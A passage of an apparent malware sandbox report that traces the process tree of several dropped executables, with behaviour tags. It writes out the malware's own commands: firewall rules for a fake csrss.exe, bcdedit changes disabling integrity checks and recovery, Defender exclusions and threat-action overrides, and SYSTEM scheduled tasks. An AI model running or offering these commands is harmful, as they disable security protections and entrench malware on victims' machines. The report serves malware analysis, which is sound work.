  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Users\Admin\Pictures\pJRgrx8FZmjExOQ2wYGCn7Nk.exe
    "C:\Users\Admin\Pictures\pJRgrx8FZmjExOQ2wYGCn7Nk.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Users\Admin\AppData\Local\Temp\u1vk.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1vk.0.exe"
      4⤵
      Blocklisted process makes network request
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2628
  - - C:\Users\Admin\AppData\Local\Temp\u1vk.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1vk.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2312
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
- - C:\Users\Admin\Pictures\kmG2oVJ8MVKQlZdC07H81o1H.exe
    "C:\Users\Admin\Pictures\kmG2oVJ8MVKQlZdC07H81o1H.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1868
  - - C:\Users\Admin\Pictures\kmG2oVJ8MVKQlZdC07H81o1H.exe
      "C:\Users\Admin\Pictures\kmG2oVJ8MVKQlZdC07H81o1H.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2728
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1696
- - C:\Users\Admin\Pictures\3gZPqlcuNueSwppuk49mmWVI.exe
    "C:\Users\Admin\Pictures\3gZPqlcuNueSwppuk49mmWVI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:800
  - - C:\Users\Admin\Pictures\3gZPqlcuNueSwppuk49mmWVI.exe
      "C:\Users\Admin\Pictures\3gZPqlcuNueSwppuk49mmWVI.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Loads dropped DLL
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1736
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:536
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:2880
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1296
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1616
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:1356
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        
        PID:2532
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1632
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2300
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:3020
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2312
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2716
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1408
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2580
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1700
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1840
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:960
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1040
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:760
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1240
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1976
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1900
      - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        6⤵
        
        PID:2184
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2360
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:2676
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:1888
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:1268
- - C:\Users\Admin\Pictures\pzGm20MLkygiSIxEhKXhO6vT.exe
    "C:\Users\Admin\Pictures\pzGm20MLkygiSIxEhKXhO6vT.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
  - - C:\Users\Admin\Pictures\pzGm20MLkygiSIxEhKXhO6vT.exe
      "C:\Users\Admin\Pictures\pzGm20MLkygiSIxEhKXhO6vT.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      PID:1572
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1144
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:3040
- - C:\Users\Admin\Pictures\fBcYOMmPwswRhm3OcPy37RCz.exe
    "C:\Users\Admin\Pictures\fBcYOMmPwswRhm3OcPy37RCz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
  - - C:\Users\Admin\Pictures\fBcYOMmPwswRhm3OcPy37RCz.exe
      "C:\Users\Admin\Pictures\fBcYOMmPwswRhm3OcPy37RCz.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:760
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:528
- - C:\Users\Admin\Pictures\v6s6qaWB2YvbsvKdMDrRlx1U.exe
    "C:\Users\Admin\Pictures\v6s6qaWB2YvbsvKdMDrRlx1U.exe"
    3⤵
    - Modifies firewall policy service
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:2840
- - C:\Users\Admin\Pictures\fIBf9OPPrQkH2KTVXLEYWoqz.exe
    "C:\Users\Admin\Pictures\fIBf9OPPrQkH2KTVXLEYWoqz.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1020
  - - C:\Users\Admin\AppData\Local\Temp\7zS757E.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Loads dropped DLL
      Enumerates system info in registry
      PID:1968
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:1088
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:240
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:1700
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:1704
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:2292
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:2184
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:2780
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:2960
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:3060
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:812
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1548
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:2016
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:1732
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:2688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:1840
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:2952
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:2064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2372
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:380
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hmSAhmT.exe\" it /rHididmsPs 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:2184
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:2960
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:2172
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:1668
- - C:\Users\Admin\Pictures\MOPjdF9DQ2e3DObyj34zKkRB.exe
    "C:\Users\Admin\Pictures\MOPjdF9DQ2e3DObyj34zKkRB.exe"
    3⤵
    PID:1996
  - - C:\Users\Admin\AppData\Local\Temp\7zSE81E.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:2224
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:1888
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:1596
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:800
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:1472
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:572
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:652
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:3060
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:1008
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:2280
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:692
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:2716
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1708
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:1300
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:2784
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:2632
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1904
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:1564
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:3012
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:1452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:900
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2924
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 22:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FOJbLYl.exe\" it /izqdidrknr 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:2492
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:2320
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:1376
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:1408
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 2192 -s 736
  2⤵
  PID:2548

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240507222745.log C:\Windows\Logs\CBS\CbsPersist_20240507222745.cab
1⤵
- Drops file in Windows directory
PID:2084

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
1⤵
PID:3040

C:\Windows\system32\taskeng.exe
taskeng.exe {27FBA099-8452-4B7F-8275-8F5A8F5D2012} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2900
- C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hmSAhmT.exe
  C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hmSAhmT.exe it /rHididmsPs 385118 /S
  2⤵
  PID:3000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2724
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2888
    - - C:\Windows\SysWOW64\cmd.exe
        
